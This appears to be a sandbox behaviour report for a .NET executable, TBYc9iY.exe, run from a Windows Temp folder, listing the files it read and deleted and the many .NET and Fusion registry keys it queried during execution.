C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2476.12062843
C:\Windows\SysWOW64\ntdll.dll

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\TBYc9iY.exe.config
C:\Users\Seven01\AppData\Local\Temp\TBYc9iY.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\System32\l_intl.nls
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\assembly\pubpol23.dat
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\SysWOW64\ntdll.dll

Write Files

Nothing to display

Delete Files

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2476.12062796
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2476.12062796
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2476.12062843

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TBYc9iY.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\72212043\44ae7c7f
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5f1453db\5ec71a19
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|TBYc9iY.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|TBYc9iY.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|TBYc9iY.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5f1453db\e2a21e0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\362dbb48\5ef72d66
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\362dbb48\68945413
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
